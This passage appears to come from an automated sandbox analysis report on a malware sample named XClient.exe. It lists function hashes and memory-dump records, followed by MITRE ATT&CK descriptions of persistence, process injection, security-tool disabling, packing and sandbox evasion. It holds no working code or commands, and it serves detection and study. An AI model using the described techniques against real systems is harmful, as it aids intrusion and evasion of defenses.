Instruction ID: 0a864db841f9ee8c0537b229f4dd25f8084cb2f10f165eed6c139ab702a0745d
Opcode Fuzzy Hash: 64ec769d4e10bb9d1963dbf03f2373d615af0a7e39529bd71c04d3a23aecef6f
Instruction Fuzzy Hash: 3A5101A0B1E6CA0FD78AAB3898656757FD5EF87215B0800FBE0D9C71D3DD18A816C342

Function 00007FFB49FC0C69 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b5cd4fdb0d99991aa3629a6a925ff467f2eb8edda49dfca5b0b8ecfe4330366
Instruction ID: 1a465c077a4bc80d65cad394e9204007d84d7bb13e2ac2fe54f7ce950591b128
Opcode Fuzzy Hash: 4b5cd4fdb0d99991aa3629a6a925ff467f2eb8edda49dfca5b0b8ecfe4330366
Instruction Fuzzy Hash: 5751D1A1A1D90B4FEB99EF38D4562BD77D2FF98211F444079D85DC7292DD28AC428780

Function 00007FFB49FC04D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693b7305f5d5da71d83431de4b4f81e24f80cb137bd305ba850a35e2f5280a6c
Instruction ID: 8eb11bbee746e67832c36fb7abd35867c96bbce5f81e3890140da4b56fbeef56
Opcode Fuzzy Hash: 693b7305f5d5da71d83431de4b4f81e24f80cb137bd305ba850a35e2f5280a6c
Instruction Fuzzy Hash: 9531B361B1D9490FE799FB3CD45A778A6C2EB98315F0405BEE44EC36D3DE28AC428345

Function 00007FFB49FC0AB9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64c61f33ee94fdc8b255f422b80c03d4f7fce21f6bfed31df2f48e24483c26f5
Instruction ID: c366f0ee73f7c7c08d6a5a4b3a5d1e44a0131f1a4859443f865d8aad2d182f41
Opcode Fuzzy Hash: 64c61f33ee94fdc8b255f422b80c03d4f7fce21f6bfed31df2f48e24483c26f5
Instruction Fuzzy Hash: A13193A1B1994A4FEB55BFBC885A3B977D1FF98201F04417AE80DC32C3DD28AD428791

Function 00007FFB49FC0981 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 444b38efa543c047d13d15249b3b1633c2b3b9ac8a93930bf1f9fe8d3bc0ccc7
Instruction ID: dbe9f55d47668742aa619ced8e66c7e4d6726ae08900840b0e4bc257af1a26a5
Opcode Fuzzy Hash: 444b38efa543c047d13d15249b3b1633c2b3b9ac8a93930bf1f9fe8d3bc0ccc7
Instruction Fuzzy Hash: 9C3191B0A19A0F8FEB55EF78C4656BD7BA1FF98300F544575D809D7282CD38A845CB90

Function 00007FFB49FC1A31 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 712ab341fc5f101cc2a450d6d8929f3413ba78fe63d1f9b2f164b96af86e6c2f
Instruction ID: ee910a71c1faf52518379d50b5835031b0545d81e0f75f1b556d16730627d6fd
Opcode Fuzzy Hash: 712ab341fc5f101cc2a450d6d8929f3413ba78fe63d1f9b2f164b96af86e6c2f
Instruction Fuzzy Hash: 45017B81A0D7C24FEB96BF3898614757FE0EF91710F0804EAD8D8C20D3DC14BA518382

Non-executed Functions

Function 00007FFB49FC06C5 Relevance: 5.2, Strings: 4, Instructions: 206COMMON

Download Yara Rule

Strings

O_^$, xrefs: 00007FFB49FC076A
<O_^, xrefs: 00007FFB49FC0801
O_^", xrefs: 00007FFB49FC0762
O_^&, xrefs: 00007FFB49FC0772

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID: <O_^$O_^"$O_^$$O_^&
API String ID: 0-1438708462
Opcode ID: 837d2c5b6910d8fa23c4a3c14a2c45b0c8a10cc805316bb497f7a205f37456e9
Instruction ID: ca452da6e87e118e48c3e69782bf9dee55eb6a00c75bb54a9ffa6cba26035655
Opcode Fuzzy Hash: 837d2c5b6910d8fa23c4a3c14a2c45b0c8a10cc805316bb497f7a205f37456e9
Instruction Fuzzy Hash: 6851CAA690F25B8FD327BF7CE8B10E53F60EF5121874845B6D98CCA2C3DC286846D691

Function 00007FFB49FC06FA Relevance: 5.0, Strings: 4, Instructions: 3COMMON

Download Yara Rule

Strings

O_^$, xrefs: 00007FFB49FC076A
<O_^, xrefs: 00007FFB49FC0801
O_^", xrefs: 00007FFB49FC0762
O_^&, xrefs: 00007FFB49FC0772

Memory Dump Source

Source File: 0000000F.00000002.1896033150.00007FFB49FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FC0000, based on PE: false

Similarity

API ID:
String ID: <O_^$O_^"$O_^$$O_^&
API String ID: 0-1438708462
Opcode ID: 2ffce0fe61bde5b4ac40002ef02303310896ec9980745ca153416640f1cfb197
Instruction ID: 2e077cd13aaf46ba080258622563f54957028f84c7d7e1173cc6a5dc8cb2368b
Opcode Fuzzy Hash: 2ffce0fe61bde5b4ac40002ef02303310896ec9980745ca153416640f1cfb197
Instruction Fuzzy Hash: C6A022B000888000CB0B0FB000A202C3FE0AE8020BBB80CCECAFC80303C32B80008300

Analysis Process: XClient.exePID: 8232, Parent PID: 660COMMON

Executed Functions

Function 00007FFB49FD0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b75d61525090a92484cf6868a7405996806cbde8aad07849d5ba782649848df
Instruction ID: e7b934061bb5de37eb824701c9c1718e206303c593ec6f8d5b6bf54471949857
Opcode Fuzzy Hash: 5b75d61525090a92484cf6868a7405996806cbde8aad07849d5ba782649848df
Instruction Fuzzy Hash: 4642C2A1B2DA4A4BE799FF7CC4597B977D2EF98700F540679E40EC32D2DE28A8418341

Function 00007FFB49FD187D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f609d47e6964c2b0856585aaa9ae15e88ac33cc5088e7e890737982a3405577
Instruction ID: 706c6a841313bc3dad7c256017bdc271d797cc4b1392c0bcf5457bcdd470f8d8
Opcode Fuzzy Hash: 8f609d47e6964c2b0856585aaa9ae15e88ac33cc5088e7e890737982a3405577
Instruction Fuzzy Hash: 6F51DEA0A1E6CA0FD79AAB7898656757FD5DF8B215B0801FBE0CAC31D3DD186806C346

Function 00007FFB49FD0C69 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62c44def82178f5946d9f503e75557468ff58235217cdbe01484edfde67f5893
Instruction ID: 3c8d2ce0ff0df5b711556d4a4c836f9dad3296ebf3b1592c6e16532c95397955
Opcode Fuzzy Hash: 62c44def82178f5946d9f503e75557468ff58235217cdbe01484edfde67f5893
Instruction Fuzzy Hash: C551B3A1A1D94B4FE795BF78E8562BD77E2EF88611F440179D84EC3292DD28BC428780

Function 00007FFB49FD04D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4c325958fac0d7c64387827b7b185e867ff31db2f8855fcdf70585d217ee4c9
Instruction ID: fdf45ce166be2f71e8dce0d1d90d9ef6617820cbee3334b090b4586aef250f5e
Opcode Fuzzy Hash: d4c325958fac0d7c64387827b7b185e867ff31db2f8855fcdf70585d217ee4c9
Instruction Fuzzy Hash: 4D31D361B1C9490FE79CFA3CD45A778A6C2EF98211F0405BEE44EC32D3CD28AC428385

Function 00007FFB49FD0AB9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6a157e9d03bfa379f5a7692ac122d12f45fbf039172b7d021f5ab668a19acf
Instruction ID: be8cfc46aa368bdd9dabfae59890955630128e53b2b384d59d3bf6735ce1d012
Opcode Fuzzy Hash: bb6a157e9d03bfa379f5a7692ac122d12f45fbf039172b7d021f5ab668a19acf
Instruction Fuzzy Hash: 483182A1B1DA4A4FE755BFBC985A3B977D1EF98601F04427AE80DC32C3DD28AD018791

Function 00007FFB49FD0981 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aa11411f2f96a0fc3a8ae832c1639749ac36b13d377dc518741e4e6484cc705
Instruction ID: 0bfb8b38599edf5f490f751298546183a6b0d14e92cb5954fccdf68ab28f31b0
Opcode Fuzzy Hash: 7aa11411f2f96a0fc3a8ae832c1639749ac36b13d377dc518741e4e6484cc705
Instruction Fuzzy Hash: 42319170A19A5B8FDB45EFB8D8656BD7BA1FF88300F944575D809D3382CD38A841C751

Function 00007FFB49FD1A31 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2491721396.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d4ded1ba48d38020409afee2cb09a38920a64343a7925eebf46c32552cae1f2
Instruction ID: fbee18dc59219f9ccf505b1f41b3bea3c24777c3645f4bbfd1f970dd3238367f
Opcode Fuzzy Hash: 0d4ded1ba48d38020409afee2cb09a38920a64343a7925eebf46c32552cae1f2
Instruction Fuzzy Hash: B7012684A0D6C24FEB46BF38D8614B57FA0CF81614B1805AAD889C20D3DC18AA41C392

Analysis Process: XClient.exePID: 6320, Parent PID: 660COMMON

Executed Functions

Function 00007FFB49FD0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 039eddddb6291c9c309c6d12634bc38cb08276f8517842a35d1d222cb35fe759
Instruction ID: c077867273b2e9cd9d1c28a91a07fd6a4cd28ce433fa9b93e06c66d08b2fc2b8
Opcode Fuzzy Hash: 039eddddb6291c9c309c6d12634bc38cb08276f8517842a35d1d222cb35fe759
Instruction Fuzzy Hash: 5542D3B1B2DA4A4FEB99FF78C5596797AD2FF98700F540579E40EC32D2DE28A8018341

Function 00007FFB49FD187D Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe888c137ec42ee0cc41e04c3ce2e0773ee1227274b507ef410ca143f7c8b8a
Instruction ID: 6fcd1c19e6e8753aa0c306dfb7aa98a97212102782a5fb34157330fa0225f9e4
Opcode Fuzzy Hash: 2fe888c137ec42ee0cc41e04c3ce2e0773ee1227274b507ef410ca143f7c8b8a
Instruction Fuzzy Hash: 0851DEA0A1E6CA0FD79AAB7898656757FD5DF8B215B0801FBE0CAC31D3DD186806C346

Function 00007FFB49FD0C69 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc083ff6e4fd0afbba47802c889cb8e5d3b397859482b5e66ae8b27ed67ac36a
Instruction ID: 75907c93578d70a25bcdd1268c6dd359eeea8f20d408e695f7f748bf2db692bc
Opcode Fuzzy Hash: fc083ff6e4fd0afbba47802c889cb8e5d3b397859482b5e66ae8b27ed67ac36a
Instruction Fuzzy Hash: A051D3A1A1D94B4FE795BF78E8562BD77E2EF88210F440179D84EC3292DD28AC428784

Function 00007FFB49FD04D0 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d17ece31a8875d7e91caa95136658885f5d3fb0990ab603f76e62fbf919f33
Instruction ID: 713d2d3653a9fe4a9f4bfc48f38846dabeac65623cfae38da014b342644b631a
Opcode Fuzzy Hash: 64d17ece31a8875d7e91caa95136658885f5d3fb0990ab603f76e62fbf919f33
Instruction Fuzzy Hash: CD31D3A1B1C9490FE79CFA3CD45A778A6C2EB98351F0405BEE44EC32D3CD28AC428345

Function 00007FFB49FD0AB9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb6a157e9d03bfa379f5a7692ac122d12f45fbf039172b7d021f5ab668a19acf
Instruction ID: be8cfc46aa368bdd9dabfae59890955630128e53b2b384d59d3bf6735ce1d012
Opcode Fuzzy Hash: bb6a157e9d03bfa379f5a7692ac122d12f45fbf039172b7d021f5ab668a19acf
Instruction Fuzzy Hash: 483182A1B1DA4A4FE755BFBC985A3B977D1EF98601F04427AE80DC32C3DD28AD018791

Function 00007FFB49FD0981 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b38d87f94c8f9878eea1edf21d8bb2eb4882ed3bd6738c1f7b2b42472e9e427c
Instruction ID: cd2d084fdc28c704650b3aa7fe7ff0f27e9ae726afc59444e84d1732c1d2e91b
Opcode Fuzzy Hash: b38d87f94c8f9878eea1edf21d8bb2eb4882ed3bd6738c1f7b2b42472e9e427c
Instruction Fuzzy Hash: 8C31BDB0A5DA0A8FEB45EFB8D8656BD7BA1FF88300F544579D809D3282CD38A841C790

Function 00007FFB49FD1A31 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3088944214.00007FFB49FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FD0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79630c6d80fb6e1c2bb6016667ac5f983848cd520401a9f1893f5019d78f066a
Instruction ID: f533ce0c52c307e87105f056f543887e1a6e768e801d4126eabb49bd905f2bc3
Opcode Fuzzy Hash: 79630c6d80fb6e1c2bb6016667ac5f983848cd520401a9f1893f5019d78f066a
Instruction Fuzzy Hash: 9A012694A4D6C24FEB4ABF3898614B57FB0CF81754B1805AAD889C20D3DC18BA41C352

Analysis Process: XClient.exePID: 6056, Parent PID: 660COMMON

Executed Functions

Function 00007FFB49FF0E99 Relevance: .8, Instructions: 790COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bed85c3861d87dd23e8da15c3a8a1753dd0bc13ee20de5b346da6c2fc669fe6d
Instruction ID: b16b92e4da684619d92ac0f594bf155ab609b76945af60ba2fdf051ee2986289
Opcode Fuzzy Hash: bed85c3861d87dd23e8da15c3a8a1753dd0bc13ee20de5b346da6c2fc669fe6d
Instruction Fuzzy Hash: CE42B4A1B2DA0A8FE799FF78C4596797BD2FF98300F544579E40EC32D6DD28A8018741

Function 00007FFB49FF187D Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc0f7f54955d592d80782297c2e6d21776b2f8045454e7fef0a8eba92211759d
Instruction ID: 9189f150e175d2ce0cfa35d2ba320d486730fadc7aeb0b07a2596340631eb6c9
Opcode Fuzzy Hash: cc0f7f54955d592d80782297c2e6d21776b2f8045454e7fef0a8eba92211759d
Instruction Fuzzy Hash: 9D51FFA0B1E6C60FD39AAB7898656757FD5DF8B215B0800FBE0C9C71E7DD186806C346

Function 00007FFB49FF0C69 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e3fb2da1a8ec02adb9b724d91ed7cc8a2aa2b4cc6e23e777ecb5f9392f3e890
Instruction ID: fa225af4da9443106d155a87f5cc891112ad45792d412e2d1cd321b08390dd67
Opcode Fuzzy Hash: 6e3fb2da1a8ec02adb9b724d91ed7cc8a2aa2b4cc6e23e777ecb5f9392f3e890
Instruction Fuzzy Hash: E451A1A2A1D90B4BE795AF78D8562BD77D2EF88211F48407AD94DC3296DD28BC428780

Function 00007FFB49FF04D0 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9e36439ac080ab7660ab3aee4b60ffcef48d17ad84297afbd695b716e3aa316
Instruction ID: c983ac863853f7fa89edec1c332296c5216bb1b18fd057d6241d19b3184fea61
Opcode Fuzzy Hash: b9e36439ac080ab7660ab3aee4b60ffcef48d17ad84297afbd695b716e3aa316
Instruction Fuzzy Hash: C031B361B1D9490FE799EB3CD45A678B6C2EB98311F0405BEE44EC32D7DE28AC428385

Function 00007FFB49FF0AB9 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6eb00e32576adababd96fb37c1da7a85a3eeb6a635e85057544a8d4f55ba394
Instruction ID: ebf01e689c118c6b9592bd7ef50f24b6e6807f1023a890bad31bde4635898709
Opcode Fuzzy Hash: c6eb00e32576adababd96fb37c1da7a85a3eeb6a635e85057544a8d4f55ba394
Instruction Fuzzy Hash: B531C3A1B1D90A4FE756BFBC885A2B977D1EF98301F14417AE80CC32D7DD28AD418792

Function 00007FFB49FF0981 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09916d8344629ccf54e1d29bc7c62bf66f9b74c8a3fe2612a6ad204fdfefd4de
Instruction ID: e1ac4c655dfb395fd9e211aeeedb185c57c4b17f48912adbad06d8dabfa29527
Opcode Fuzzy Hash: 09916d8344629ccf54e1d29bc7c62bf66f9b74c8a3fe2612a6ad204fdfefd4de
Instruction Fuzzy Hash: 95319EB0A19A0A8FEB55FFB8C8656BD7BA1FF88300F544576D509D3286DD38A841C781

Function 00007FFB49FF1A31 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.3696977859.00007FFB49FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB49FF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4345554accf67a97469c2f22c087fecb15f6ca3a353e4c7352933d9915ede30d
Instruction ID: b80aed58c83990c3e0fd4b52f528af96897f78303cf6d21ace088e819e0e0485
Opcode Fuzzy Hash: 4345554accf67a97469c2f22c087fecb15f6ca3a353e4c7352933d9915ede30d
Instruction Fuzzy Hash: 8601F795A0D6824FEB96BF3898A14B17FE0DF95310B1804ABD489C60D7E918AA458382

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
